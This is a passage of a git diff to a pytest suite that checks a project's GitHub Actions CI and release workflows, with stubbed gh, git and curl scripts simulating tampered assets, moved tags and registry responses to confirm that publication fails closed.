]; then + echo "release asset not found" >&2 + exit 1 + fi + if [ "$MISMATCH_DOWNLOAD" = "1" ] && [ -f "$destination/raes-3.4.5-py3-none-any.whl" ]; then printf '%s\n' tampered > "$destination/raes-3.4.5-py3-none-any.whl" fi + if [ "$TAMPER_EVIDENCE_READBACK" = "1" ]; then + # An unmatched glob must not leak a non-zero status out of the stub. + for served_file in "$destination"/*.json; do + if [ -f "$served_file" ]; then + printf '%s\n' tampered > "$served_file" + fi + done + fi ;; api:*) - printf '%s\n' patch >> "$CALL_LOG" - printf '%s\n' "$FINALIZATION_JSON" + case "$*" in + */git/ref/tags/*) printf '%s\n' "$REF_JSON" ;; + */git/tags/*) printf '%s\n' "$TAG_JSON" ;; + *) + printf '%s\n' patch >> "$CALL_LOG" + printf '%s\n' "$FINALIZATION_JSON" + ;; + esac ;; *) echo "unexpected gh request: $*" >&2 @@ -179,16 +272,14 @@ def _run_github_finalization( ) gh_stub.chmod(0o700) + # The finalization job holds `contents: write` and checks out nothing, so + # it must not shell out to git at all (#1227). A stub that always fails + # turns any reintroduced git call into a test failure. git_stub = tmp_path / "git" git_stub.write_text( """#!/bin/sh -set -eu -case "${1-}:${2-}" in - fetch:*) exit 0 ;; - rev-parse:HEAD) printf '%s\n' "$EXPECTED_SHA" ;; - rev-parse:--verify) printf '%s\n' "$ACTUAL_TAG_SHA" ;; - *) echo "unexpected git request: $*" >&2; exit 64 ;; -esac +echo "the credentialed publisher must not invoke git: $*" >&2 +exit 64 """, encoding="utf-8", ) @@ -201,15 +292,28 @@ def _run_github_finalization( "GITHUB_REPOSITORY": "OpenRAE/rae", "RUNNER_TEMP": str(tmp_path), "EXPECTED_SHA": "a" * 40, - "ACTUAL_TAG_SHA": ("c" if moved_tag else "a") * 40, "EXPECTED_TAG": "v3.4.5", "EXPECTED_RELEASE_ID": "1234", "EXPECTED_DRAFT": "true", + "WHEEL_NAME": "raes-3.4.5-py3-none-any.whl", + "SDIST_NAME": "raes-3.4.5.tar.gz", + # The tag now resolves over the API rather than from a working tree. + "REF_JSON": json.dumps( + { + "ref": "refs/tags/v3.4.5", + "object": {"type": "commit", "sha": ("c" if moved_tag else "a") * 40}, + } + ), + "TAG_JSON": "", "STATE_FILE": str(state_file), "STATE_COUNTER": str(state_counter), "CALL_LOG": str(call_log), "TEST_DIST_SOURCE": str(dist), + "TEST_EVIDENCE_SOURCE": str(evidence), + "RELEASE_STORE": str(release_store), + "ASSET_LIST_FAILS": "1" if asset_list_fails else "0", "MISMATCH_DOWNLOAD": "1" if mismatched_download else "0", + "TAMPER_EVIDENCE_READBACK": "1" if tampered_evidence_readback else "0", "FINALIZATION_JSON": finalization_json, } return subprocess.run( @@ -229,7 +333,7 @@ def test_canonical_verifier_requires_and_checks_out_an_exact_commit_sha() -> Non assert inputs["ref"]["type"] == "string" assert workflow["permissions"] == {"contents": "read"} - job = workflow["jobs"]["verify"] + job = workflow["jobs"]["checks"] checkout = job["steps"][0] assert checkout["with"]["fetch-depth"] == 0 assert checkout["with"]["ref"] == "${{ inputs.ref }}" @@ -245,56 +349,83 @@ def test_canonical_verifier_requires_and_checks_out_an_exact_commit_sha() -> Non def test_canonical_verifier_preserves_proof_install_and_full_verify_graph() -> None: workflow = _load(CANONICAL_PATH) - assert set(workflow["jobs"]) == {"generic-tool-local-inputs", "verify"} - job = workflow["jobs"]["verify"] - assert job["needs"] == "generic-tool-local-inputs" - assert job["runs-on"] == "ubuntu-22.04" + # The monolithic verify job is now distributed across deterministic shards and + # parallel lanes (#935); the reusable graph remains the single full-gate owner. + assert set(workflow["jobs"]) == { + "generic-tool-local-inputs", + "test-shard", + "integration", + "checks", + "proof", + "coverage-reduce", + "sonar", + "gate", + } - step_names = [step.get("name") for step in job["steps"]] - assert "Restore pinned Isabelle archive" not in step_names + # Deterministic concurrent shards of the default-marker suite. + shard = workflow["jobs"]["test-shard"] + assert shard["strategy"]["matrix"]["shard"] == [0, 1, 2, 3] + assert shard["strategy"]["fail-fast"] is False + shard_run = _named_step(shard, "Run deterministic test shard") + assert "nox -f noxfile.py -s verify-shard" in shard_run["run"] + assert shard_run["env"]["RAES_SHARD_INDEX"] == "${{ matrix.shard }}" + assert shard_run["env"]["RAES_SHARD_COUNT"] == "${{ env.RAES_CI_SHARD_COUNT }}" + + # The proof-bearing lane stays on Ubuntu 22.04 with the Bubblewrap sandbox. + proof = workflow["jobs"]["proof"] + assert proof["needs"] == "generic-tool-local-inputs" + assert proof["runs-on"] == "ubuntu-22.04" + step_names = [step.get("name") for step in proof["steps"]] assert "Install proof sandbox" in step_names assert "Admit the carried Isabelle archive with egress denied" in step_names - assert "Resolve requirement UID from branch" in step_names assert step_names.index("Install proof sandbox") < step_names.index( "Admit the carried Isabelle archive with egress denied" ) - assert not any(str(step.get("uses", "")).startswith("actions/cache/") for step in job["steps"]) + assert not any(str(step.get("uses", "")).startswith("actions/cache/") for step in proof["steps"]) carrier = _named_step( workflow["jobs"]["generic-tool-local-inputs"], "Fetch the locked proof archive with the qualified client" ) - assert "offline-kit-fetch" in carrier["run"] + assert "fetch-inputs" in carrier["run"] assert "proof-ubuntu-22.04-x86_64 .canonical-tool-inputs --artifact-id isabelle" in carrier["run"] - acquire = _named_step(job, "Admit the carried Isabelle archive with egress denied")["run"] + acquire = _named_step(proof, "Admit the carried Isabelle archive with egress denied")["run"] assert acquire.startswith("bwrap --dev-bind / / --unshare-net --die-with-parent ") assert "implementations/tooling/python/.venv/bin/python -m tools.isabelle_tool acquire" in acquire assert "--local-input .canonical-tool-inputs/archives/isabelle/Isabelle2025-2_linux.tar.gz" in acquire - harness = _named_step(job, "Qualify proof-input installation slices")["run"] + replay = _named_step(proof, "Replay the pinned participant-opacity proof")["run"] + assert "nox -f noxfile.py -s participant-opacity-proof" in replay + harness = _named_step(proof, "Qualify proof-input installation slices")["run"] assert "nox -f noxfile.py -s proof-input-qualification -- --real-installation" in harness assert "--output proof-input-qualification.json" in harness - record = _named_step(job, "Record qualified proof-host evidence")["run"] - assert "--slice-evidence proof-input-qualification.json" in record assert step_names.index("Qualify proof-input installation slices") < step_names.index( - "Record qualified proof-host evidence" + "Retain proof-input installation results" ) - evidence = _named_step(job, "Upload proof-host qualification evidence") - assert evidence["with"]["path"] == "proof-host-qualification.json" - sandbox = _named_step(job, "Install proof sandbox")["run"] + evidence = _named_step(proof, "Retain proof-input installation results") + assert evidence["with"]["path"] == "proof-input-qualification.json" + assert evidence["with"]["if-no-files-found"] == "error" + sandbox = _named_step(proof, "Install proof sandbox")["run"] assert "bubblewrap fontconfig fonts-dejavu-core" in sandbox assert "fc-list" in sandbox assert "test -d /etc/fonts" in sandbox assert "test -d /usr/share/fonts" in sandbox - verify = _named_step(job, "Run canonical verification graph") - assert "nox -f noxfile.py -s verify" in verify["run"] - assert "--skip-requirement" in verify["run"] - coverage = _named_step(job, "Upload coverage report") + # Coverage is combined once, after a completeness proof, gated on both producers. + reduce = workflow["jobs"]["coverage-reduce"] + assert reduce["needs"] == ["test-shard", "integration"] + reduce_run = _named_step(reduce, "Prove completeness and combine coverage")["run"] + assert "nox -f noxfile.py -s verify-coverage-reduce" in reduce_run + coverage = _named_step(reduce, "Upload combined coverage report") assert coverage["if"] == "always()" assert coverage["with"]["path"].splitlines() == [ "implementations/python/coverage.xml", "implementations/python/coverage.json", ] + # The full gate is an explicit fail-closed aggregate that distinguishes skips. + gate = workflow["jobs"]["gate"] + assert gate["if"] == "always()" + assert set(gate["needs"]) == {"test-shard", "integration", "checks", "proof", "coverage-reduce"} + def test_ci_uses_the_same_canonical_verifier_for_github_sha() -> None: workflow = _load(CI_PATH) @@ -307,22 +438,31 @@ def test_ci_uses_the_same_canonical_verifier_for_github_sha() -> None: assert canonical["with"]["ref"] == "${{ github.sha }}" assert "github.event.pull_request.base.sha" in canonical["with"]["base-rev"] assert canonical["with"]["requirement-branch"] == "${{ github.head_ref || github.ref_name }}" + assert canonical["with"]["sonar-enabled"] is True + assert canonical["secrets"]["sonar_token"] == "${{ secrets.SONAR_TOKEN }}" # noqa: S105 - # dev/main branch protection requires the existing `verify` check context. + # dev/main branch protection requires the `verify` and `sonar` contexts. Both + # are now decoupled joins over the reusable graph's outcomes (#935). verify = workflow["jobs"]["verify"] assert verify["needs"] == "canonical" assert verify["if"] == "always()" - result_join = _named_step(verify, "Preserve the required canonical verification status") - assert result_join["env"]["CANONICAL_RESULT"] == "${{ needs.canonical.result }}" - assert '"${CANONICAL_RESULT}" != "success"' in result_join["run"] - assert "verify" in workflow["jobs"]["sonar"]["needs"] - assert workflow["jobs"]["sonar"]["if"] == ( - "(github.event_name == 'push' " - "&& (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/dev')) " - "|| (github.event_name == 'pull_request' " - "&& github.event.pull_request.head.repo.full_name == github.repository " - "&& github.actor != 'dependabot[bot]')" - ) + verify_join = _named_step(verify, "Preserve the required canonical verification status") + assert verify_join["env"]["GATE_OUTCOME"] == "${{ needs.canonical.outputs.gate-outcome }}" + assert '"${GATE_OUTCOME}" != "success"' in verify_join["run"] + + sonar = workflow["jobs"]["sonar"] + assert sonar["needs"] == "canonical" + assert sonar["if"] == "always()" + sonar_join = _named_step(sonar, "Preserve the required SonarCloud quality-gate status") + assert sonar_join["env"]["SONAR_OUTCOME"] == "${{ needs.canonical.outputs.sonar-outcome }}" + + # The quality gate itself runs inside the reusable graph, trust-gated there so + # the token is never exposed to fork or Dependabot contexts. + reusable_sonar = _load(CANONICAL_PATH)["jobs"]["sonar"] + assert "inputs.sonar-enabled" in reusable_sonar["if"] + assert "github.event.pull_request.head.repo.full_name == github.repository" in reusable_sonar["if"] + assert "github.actor != 'dependabot[bot]'" in reusable_sonar["if"] + assert reusable_sonar["needs"] == "coverage-reduce" interpreters = workflow["jobs"]["interpreters"] assert interpreters["strategy"]["matrix"]["python"] == [ @@ -340,6 +480,36 @@ def test_ci_uses_the_same_canonical_verifier_for_github_sha() -> None: assert "nox -f noxfile.py -s python-compatibility" in compatibility["run"] +@pytest.mark.integration +@pytest.mark.parametrize( + ("required", "outcome", "exit_code"), + [ + ("true", "success", 0), + ("true", "", 1), # required but no verdict: scanner setup failed -> fail closed + ("true", "failure", 1), # quality gate red + ("false", "", 0), # fork / Dependabot: intentionally skipped + ("false", "failure", 1), # defensive: a recorded failure still fails + ], +) +def test_sonar_join_requires_a_verdict_when_analysis_is_required( + tmp_path: Path, + required: str, + outcome: str, + exit_code: int, +) -> None: + if shutil.which("bash") is None: + pytest.skip("the sonar join gate requires bash") + step = _named_step(_load(CI_PATH)["jobs"]["sonar"], "Preserve the required SonarCloud quality-gate status") + completed = subprocess.run( + ["bash", "-c", step["run"]], + check=False, + capture_output=True, + text=True, + env={**os.environ, "SONAR_REQUIRED": required, "SONAR_OUTCOME": outcome}, + ) + assert completed.returncode == exit_code, completed.stderr + + def test_release_resolves_and_verifies_one_immutable_release_commit() -> None: workflow = _load(RELEASE_PATH) jobs = workflow["jobs"] @@ -375,6 +545,41 @@ def test_release_resolves_and_verifies_one_immutable_release_commit() -> None: assert verify["with"]["base-rev"] == "${{ needs.resolve-release.outputs.base_sha }}" +def test_python_release_notes_do_not_make_docs_or_maintenance_releasable() -> None: + """Python's default visible ``docs`` section can propose a patch release. + + Release Please skips a release PR when the generated notes contain no + visible section. Keep release-bearing types visible and hide repository-only + types explicitly. The action pin binds this policy to the engine version + exercised by the issue-684 behavior probe; changing engines requires a new + eligibility check, not just a configuration-shape check. + """ + + release_job = _load(RELEASE_PATH)["jobs"]["release-please"] + assert release_job["steps"][0]["uses"] == ( + "googleapis/release-please-action@45996ed1f6d02564a971a2fa1b5860e934307cf7" + ) + package = _load(RELEASE_CONFIG_PATH)["packages"]["."] + assert package["release-type"] == "python" + sections = package["changelog-sections"] + visibility = {section["type"]: section.get("hidden", False) for section in sections} + assert len(visibility) == len(sections) + assert visibility == { + "feat": False, + "fix": False, + "perf": False, + "deps": False, + "revert": False, + "docs": True, + "style": True, + "chore": True, + "refactor": True, + "test": True, + "build": True, + "ci": True, + } + + def test_every_shell_draft_release_inspection_has_push_capable_token() -> None: workflow = _load(RELEASE_PATH) assert workflow["permissions"] == {"contents": "read"} @@ -476,7 +681,9 @@ def test_release_requires_skip_free_real_docker_tests_at_the_exact_sha() -> None fixture = DOCKER_INTEGRATION_PATH.read_text(encoding="utf-8") assert "RAES_DOCKER_INTEGRATION_REQUIRED" in fixture assert "pytest.fail" in fixture - assert "sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc" in fixture + # The reviewed image identity is lock data, not a literal in the harness. + assert "sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc" not in fixture + assert "oci_release_image.locked_platform_graphs()" in fixture optional = _load(CI_PATH)["jobs"]["integration-docker"] assert optional["continue-on-error"] is True @@ -492,6 +699,9 @@ def test_publication_is_split_retry_safe_and_finalizes_the_same_release() -> Non "verify-release", "integration-docker-release", "build-release", + # Absent or rejected evidence must block the handoff, so admission is a + # predecessor of publication rather than an optional report (#1226). + "admit-release", } assert "needs.verify-release.result == 'success'" in publish_pypi["if"] assert "needs.integration-docker-release.result == 'success'" in publish_pypi["if"] @@ -500,11 +710,31 @@ def test_publication_is_split_retry_safe_and_finalizes_the_same_release() -> Non assert publish_pypi["environment"] == "pypi" assert publish_pypi["permissions"] == {"contents": "write", "id-token": "write"} + # OIDC is held by exactly two reviewed boundaries: the publisher, and the + # signer. They are separate jobs so an attestation credential never carries + # publication capability, and vice versa (#1226). + oidc_jobs = {name for name, job in jobs.items() if job.get("permissions", {}).get("id-token") == "write"} + assert oidc_jobs == {"publish-pypi", "attest-release"} + for name, job in jobs.items(): if name == "publish-pypi": continue assert job.get("environment") != "pypi" - assert job.get("permissions", {}).get("id-token") != "write" + + attest = jobs["attest-release"] + assert attest["permissions"] == { + "contents": "read", + "id-token": "write", + "attestations": "write", + } + assert attest.get("environment") is None + # A protected script launched inside a candidate checkout can still import + # or execute candidate code, so the signer checks out nothing. + assert all(not step.get("uses", "").startswith("actions/checkout@") for step in attest["steps"]) + # Only the signer may write attestations. + assert {name for name, job in jobs.items() if job.get("permissions", {}).get("attestations") == "write"} == { + "attest-release" + } upload = _named_step(jobs["build-release"], "Upload the tested release distributions") pypi_download = _named_step(publish_pypi, "Download the tested release distributions") @@ -513,7 +743,10 @@ def test_publication_is_split_retry_safe_and_finalizes_the_same_release() -> Non pypi_names = [step.get("name") for step in publish_pypi["steps"]] revalidate_index = pypi_names.index("Revalidate release identity immediately before PyPI") publish_index = pypi_names.index("Publish to PyPI (OIDC trusted publishing)") - assert revalidate_index + 1 == publish_index + # Nothing but the read-only destination reconciliation may sit between + # identity revalidation and the upload, so no unvetted work can intervene + # once the release identity has been proven (#1227). + assert pypi_names[revalidate_index + 1 : publish_index] == ["Reconcile the PyPI destination"] assert all(not step.get("uses", "").startswith("actions/checkout@") for step in publish_pypi["steps"]) revalidation = publish_pypi["steps"][revalidate_index] assert revalidation["env"] == { @@ -536,6 +769,7 @@ def test_publication_is_split_retry_safe_and_finalizes_the_same_release() -> Non "resolve-release", "verify-release", "build-release", + "admit-release", "publish-pypi", } assert "needs.publish-pypi.result == 'success'" in publish_github["if"] @@ -552,7 +786,10 @@ def test_publication_is_split_retry_safe_and_finalizes_the_same_release() -> Non assert "-F draft=false" in finalization assert "Already-public Release assets do not match the tested distributions" in finalization assert 'gh release download "${EXPECTED_TAG}"' in finalization - assert 'cmp -s "${wheels[0]}"' in finalization + # The retry proves the already-public assets against the admitted names, + # not against whatever a glob selected from the artifact (#1227). + assert 'cmp -s "${wheel}" "${retry_dir}/${WHEEL_NAME}"' in finalization + assert 'cmp -s "${sdist}" "${retry_dir}/${SDIST_NAME}"' in finalization sync = jobs["sync-dev"] assert set(sync["needs"]) == {"release-please", "publish-github"} @@ -609,7 +846,9 @@ def test_github_finalization_revalidates_release_object_after_attachment(tmp_pat assert result.returncode != 0 assert "Release identity changed during attachment; refusing public finalization" in result.stderr - assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == ["upload"] + # Attachment and evidence retention complete, then the re-read of the + # Release object rejects the identity change before public finalization. + assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == _FRESH_ATTACHMENT_CALLS @pytest.mark.integration @@ -622,7 +861,7 @@ def test_github_finalization_rejects_moved_tag_before_attachment(tmp_path: Path) assert result.returncode != 0 assert f"Release tag moved: expected {'a' * 40}, got {'c' * 40}" in result.stderr - assert not (tmp_path / "gh-calls.log").exists() + assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8") == "" @pytest.mark.integration @@ -639,7 +878,7 @@ def test_github_finalization_rejects_tampered_finalization_response(tmp_path: Pa assert result.returncode != 0 assert "GitHub Release finalization response changed the verified identity" in result.stderr assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == [ - "upload", + *_FRESH_ATTACHMENT_CALLS, "patch", ] @@ -656,7 +895,31 @@ def test_github_finalization_uses_bound_id_and_accepts_verified_response(tmp_pat ) assert result.returncode == 0, result.stderr - assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == ["upload", "patch"] + assert "Retained 2 evidence documents with verified readback digests" in result.stdout + assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == [ + *_FRESH_ATTACHMENT_CALLS, + "patch", + ] + + +@pytest.mark.integration +def test_github_finalization_rejects_tampered_retained_evidence(tmp_path: Path) -> None: + """Retention rests on observed stored bytes, not on a successful upload call.""" + + result = _run_github_finalization( + tmp_path, + release_states=[ + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":true,"tagName":"v3.4.5"}', + '{"databaseId":1234,"isDraft":false,"tagName":"v3.4.5"}', + ], + tampered_evidence_readback=True, + ) + + assert result.returncode != 0 + assert "does not match the admitted bytes" in result.stderr + # The Release is never finalized public when the retained bytes disagree. + assert "patch" not in (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() @pytest.mark.integration @@ -667,6 +930,7 @@ def test_github_finalization_accepts_matching_already_public_retry(tmp_path: Pat '{"databaseId":1234,"isDraft":false,"tagName":"v3.4.5"}', '{"databaseId":1234,"isDraft":false,"tagName":"v3.4.5"}', ], + published_assets=True, ) assert result.returncode == 0, result.stderr @@ -680,6 +944,7 @@ def test_github_finalization_rejects_mismatched_already_public_assets(tmp_path: tmp_path, release_states=['{"databaseId":1234,"isDraft":false,"tagName":"v3.4.5"}'], mismatched_download=True, + published_assets=True, ) assert result.returncode != 0 @@ -687,6 +952,43 @@ def test_github_finalization_rejects_mismatched_already_public_assets(tmp_path: assert (tmp_path / "gh-calls.log").read_text(encoding="utf-8").splitlines() == ["download"] +def test_every_always_job_gates_on_each_dependency_result() -> None: + """`needs:` membership alone gates nothing once a job uses `always()`. + + With `if: always() && ...` GitHub runs the job even when a dependency + failed, so the only thing that actually blocks it is an explicit + `needs..result` clause. A test that asserts `needs:` membership without + that clause stays green while the real gate is deleted, which is how a + failed evidence admission could stop blocking publication (#1226). + """ + + workflow = _load(RELEASE_PATH) + ungated: dict[str, list[str]] = {} + for name, job in workflow["jobs"].items(): + condition = str(job.get("if", "")) + if "always()" not in condition: + continue + needs = job.get("needs") or [] + if isinstance(needs, str): + needs = [needs] + missing = [dependency for dependency in needs if f"needs.{dependency}.result" not in condition] + if missing: + ungated[name] = missing + assert ungated == {}, f"always()-conditioned jobs ignore a dependency result: {ungated}" + + +def test_publication_requires_successful_evidence_admission() -> None: + """Rejected release evidence must block both publishers (#1226).""" + + jobs = _load(RELEASE_PATH)["jobs"] + for publisher in ("publish-pypi", "publish-github"): + condition = str(jobs[publisher]["if"]) + assert "needs.admit-release.result == 'success'" in condition, publisher + # And admission itself cannot run ahead of a successful signing boundary. + assert "needs.attest-release.result == 'success'" in str(jobs["admit-release"]["if"]) + assert "needs.build-release.result == 'success'" in str(jobs["attest-release"]["if"]) + + def test_release_gate_does_not_poll_mutable_check_or_branch_status() -> None: release_text = RELEASE_PATH.read_text(encoding="utf-8").lower() forbidden = ("gh run list", "check-runs", "/statuses/", "workflow_run") @@ -711,8 +1013,13 @@ def test_every_workflow_pins_every_third_party_action_to_a_full_sha() -> None: # or release-bookkeeping boundary. Any other job or workflow stays read-only. _REVIEWED_JOB_WRITE_SCOPES = { ("docs.yml", "deploy"): {"pages", "id-token"}, + ("ground-control-phase-e.yml", "finalize"): {"issues"}, ("release-please.yml", "release-please"): {"contents", "pull-requests"}, ("release-please.yml", "resolve-release"): {"contents"}, + # Signing holds an OIDC and attestation identity only. It has no `contents` + # write and no PyPI environment, so an attestation credential cannot + # authorize publication (#1226). + ("release-please.yml", "attest-release"): {"attestations", "id-token"}, ("release-please.yml", "publish-pypi"): {"contents", "id-token"}, ("release-please.yml", "publish-github"): {"contents"}, ("release-please.yml", "sync-dev"): {"pull-requests"}, @@ -773,7 +1080,15 @@ def test_release_bookkeeping_changes_do_not_retrigger_check_workflows() -> None: for event in ("push", "pull_request"): if event not in triggers: continue + if path.name == "ground-control-phase-e.yml": + assert event == "pull_request" + assert triggers[event]["types"] == ["closed"] + continue config = triggers[event] or {} + if path.name == "bootstrap-qualification.yml": + assert config.get("paths") + assert "workflow_dispatch" in triggers + continue assert "paths" not in config, f"{path.name} {event}: positive path filters would hide real changes" if "paths-ignore" in config: assert sorted(config["paths-ignore"]) == expected, f"{path.name} {event}: ignored paths drifted" @@ -784,7 +1099,6 @@ def test_release_bookkeeping_changes_do_not_retrigger_check_workflows() -> None: assert unfiltered == _RELEASE_BOOKKEEPING_RUNS assert filtered == { - ("bootstrap-qualification.yml", "pull_request"), ("ci.yml", "pull_request"), ("ci.yml", "push"), ("docs.yml", "pull_request"), @@ -871,7 +1185,7 @@ def test_canonical_exact_commit_gate_executes_and_rejects_a_different_checkout( completed, output = _run_exact_commit_gate( tmp_path, CANONICAL_PATH, - "verify", + "checks", "Bind verification to the exact commit and resolve policy base", {"STUB_HEAD": head, "EXPECTED_SHA": expected, "REQUESTED_BASE_SHA": ""}, ) @@ -947,3 +1261,390 @@ def test_release_resolution_executes_and_binds_the_exact_release_commit( assert completed.returncode == exit_code, completed.stderr assert message in completed.stdout + completed.stderr assert (f"release_sha={_EXACT}" in output) is (exit_code == 0) + + +# --- #1227: the publication boundary consumes only the admitted tested bytes --- + + +def test_no_release_publication_step_overwrites_a_published_file() -> None: + """A blind overwrite can replace the exact tested asset. + + `--clobber` makes a same-name upload succeed regardless of the bytes + already stored, which defeats the tested-artifact guarantee the rest of + this graph establishes. + """ + + source = RELEASE_PATH.read_text(encoding="utf-8") + + assert "--clobber" not in source + + +def test_credentialed_publishers_check_out_no_candidate_source() -> None: + """Publication credentials never coexist with candidate code in a job. + + Both publishers hold a write credential, so a checked-out release tree + would put candidate-controlled scripts in a job that can publish. The + identity checks they need are available over the API. + """ + + jobs = _load(RELEASE_PATH)["jobs"] + + for name in ("publish-pypi", "publish-github"): + steps = jobs[name]["steps"] + assert all(not step.get("uses", "").startswith("actions/checkout@") for step in steps), ( + f"{name} must not check out candidate source" + ) + + +def test_admission_exports_the_validated_artifact_identity() -> None: + """Admission is the trust bridge, so it publishes the scalars it validated.""" + + jobs = _load(RELEASE_PATH)["jobs"] + admit = jobs["admit-release"] + + assert set(admit["outputs"]) == { + "wheel_name", + "wheel_sha256", + "sdist_name", + "sdist_sha256", + } + for expression in admit["outputs"].values(): + assert expression.startswith("${{ steps.") + # The scalars come out of the same command that performs admission, not a + # separate scan that could disagree with it. + admit_step = _named_step(admit, "Admit the release evidence") + assert "--emit-subjects" in admit_step["run"] + assert admit_step.get("id") + + +def test_both_publishers_require_the_admitted_artifact_identity() -> None: + """Each destination operation is gated on the admitted names and digests.""" + + jobs = _load(RELEASE_PATH)["jobs"] + + for name in ("publish-pypi", "publish-github"): + job = jobs[name] + assert "admit-release" in job["needs"], name + verify = _named_step(job, "Verify the admitted release distributions") + env = verify["env"] + for scalar in ("WHEEL_NAME", "WHEEL_SHA256", "SDIST_NAME", "SDIST_SHA256"): + assert env[scalar] == f"${{{{ needs.admit-release.outputs.{scalar.lower()} }}}}", (name, scalar) + # The publisher recomputes the digest itself rather than trusting the + # artifact channel that delivered the file. + assert "sha256sum" in verify["run"] + # Verification precedes the destination write in the job. + names = [step.get("name") for step in job["steps"]] + destination = ( + "Publish to PyPI (OIDC trusted publishing)" + if name == "publish-pypi" + else "Revalidate, attach, and publish the GitHub Release" + ) + assert names.index("Verify the admitted release distributions") < names.index(destination), name + + +def test_pypi_publication_reconciles_the_destination_before_upload() -> None: + """An already-published version is completed, not overwritten or assumed.""" + + publish_pypi = _load(RELEASE_PATH)["jobs"]["publish-pypi"] + names = [step.get("name") for step in publish_pypi["steps"]] + reconcile_index = names.index("Reconcile the PyPI destination") + publish_index = names.index("Publish to PyPI (OIDC trusted publishing)") + + assert reconcile_index < publish_index + reconcile = publish_pypi["steps"][reconcile_index] + assert reconcile.get("id") + # A digest comparison, not an "already exists" response, decides the skip. + assert "digests" in reconcile["run"] + assert "sha256" in reconcile["run"] + publish_step = publish_pypi["steps"][publish_index] + assert publish_step["if"] == f"steps.{reconcile['id']}.outputs.pending == 'true'" + + +def test_github_attachment_reconciles_each_asset_before_upload() -> None: + """Per-asset handling replaces the blind overwrite.""" + + attach = _named_step( + _load(RELEASE_PATH)["jobs"]["publish-github"], + "Revalidate, attach, and publish the GitHub Release", + )["run"] + + # GitHub exposes no server-side asset digest, so a byte comparison of the + # downloaded asset is what distinguishes already-published from conflict. + assert "gh release download" in attach + assert "gh release upload" in attach + assert "--clobber" not in attach + + +def _run_pypi_reconciliation( + tmp_path: Path, + *, + status: str, + body: str, +) -> subprocess.CompletedProcess[str]: + """Execute the PyPI destination reconciliation against a stubbed registry.""" + + if shutil.which("bash") is None or shutil.which("jq") is None: + pytest.skip("the PyPI reconciliation shell policy requires bash and jq") + + script = _named_step( + _load(RELEASE_PATH)["jobs"]["publish-pypi"], + "Reconcile the PyPI destination", + )["run"] + + curl_stub = tmp_path / "curl" + curl_stub.write_text( + """#!/bin/sh +set -eu +destination="" +while [ "$#" -gt 0 ]; do + case "$1" in + --output) destination="$2"; shift 2 ;; + *) shift ;; + esac +done +test -n "$destination" +printf '%s' "$PYPI_BODY" > "$destination" +printf '%s' "$PYPI_STATUS" +""", + encoding="utf-8", + ) + curl_stub.chmod(0o700) + + github_output = tmp_path / "github-output" + github_output.write_text("", encoding="utf-8") + completed = subprocess.run( + ["bash", "-c", script], + check=False, + capture_output=True, + text=True, + cwd=tmp_path, + env={ + **os.environ, + "PATH": f"{tmp_path}{os.pathsep}{os.environ['PATH']}", + "RUNNER_TEMP": str(tmp_path), + "GITHUB_OUTPUT": str(github_output), + "EXPECTED_TAG": "v3.4.5", + "WHEEL_NAME": "raes-3.4.5-py3-none-any.whl", + "WHEEL_SHA256": "1" * 64, + "SDIST_NAME": "raes-3.4.5.tar.gz", + "SDIST_SHA256": "2" * 64, + "PYPI_STATUS": status, + "PYPI_BODY": body, + }, + ) + return completed + + +def _pypi_outputs(tmp_path: Path) -> dict[str, str]: + lines = (tmp_path / "github-output").read_text(encoding="utf-8").splitlines() + return dict(line.split("=", 1) for line in lines if "=" in line) + + +def _pypi_body(*files: tuple[str, str]) -> str: + return json.dumps({"urls": [{"filename": name, "digests": {"sha256": digest}} for name, digest in files]}) + + +@pytest.mark.integration +def test_pypi_reconciliation_publishes_an_absent_version(tmp_path: Path) -> None: + result = _run_pypi_reconciliation(tmp_path, status="404", body="{}") + + assert result.returncode == 0, result.stderr + assert _pypi_outputs(tmp_path)["pending"] == "true" + + +@pytest.mark.integration +def test_pypi_reconciliation_skips_an_already_published_release(tmp_path: Path) -> None: + """Matching destination digests are success, so a rerun completes GitHub.""" + + result = _run_pypi_reconciliation( + tmp_path, + status="200", + body=_pypi_body(("raes-3.4.5-py3-none-any.whl", "1" * 64), ("raes-3.4.5.tar.gz", "2" * 64)), + ) + + assert result.returncode == 0, result.stderr + assert _pypi_outputs(tmp_path)["pending"] == "false" + assert "already on PyPI" in result.stdout + + +@pytest.mark.integration +def test_pypi_reconciliation_completes_only_the_missing_distribution(tmp_path: Path) -> None: + """A partial upload leaves the outstanding file pending, not the whole set.""" + + result = _run_pypi_reconciliation( + tmp_path, + status="200", + body=_pypi_body(("raes-3.4.5-py3-none-any.whl", "1" * 64)), + ) + + assert result.returncode == 0, result.stderr + assert _pypi_outputs(tmp_path)["pending"] == "true" + assert "does not yet carry raes-3.4.5.tar.gz" in result.stdout + + +@pytest.mark.integration +def test_pypi_reconciliation_refuses_a_same_name_digest_mismatch(tmp_path: Path) -> None: + """A published file with different bytes is an incident, never an overwrite.""" + + result = _run_pypi_reconciliation( + tmp_path, + status="200", + body=_pypi_body(("raes-3.4.5-py3-none-any.whl", "9" * 64), ("raes-3.4.5.tar.gz", "2" * 64)), + ) + + assert result.returncode != 0 + assert "already stores raes-3.4.5-py3-none-any.whl with different bytes" in result.stderr + assert "pending" not in _pypi_outputs(tmp_path) + + +@pytest.mark.integration +@pytest.mark.parametrize("status", ["403", "500", "000"]) +def test_pypi_reconciliation_refuses_an_uncertain_destination(tmp_path: Path, status: str) -> None: + """An ambiguous destination answer is never read as "not published".""" + + result = _run_pypi_reconciliation(tmp_path, status=status, body="{}") + + assert result.returncode != 0 + assert f"HTTP {status}" in result.stderr + assert "pending" not in _pypi_outputs(tmp_path) + + +@pytest.mark.integration +def test_github_attachment_accepts_an_already_attached_matching_asset(tmp_path: Path) -> None: + """A draft carrying the admitted bytes is completed, not re-uploaded.""" + + result = _run_github_finalization( + tmp_path, + release_states=[ + 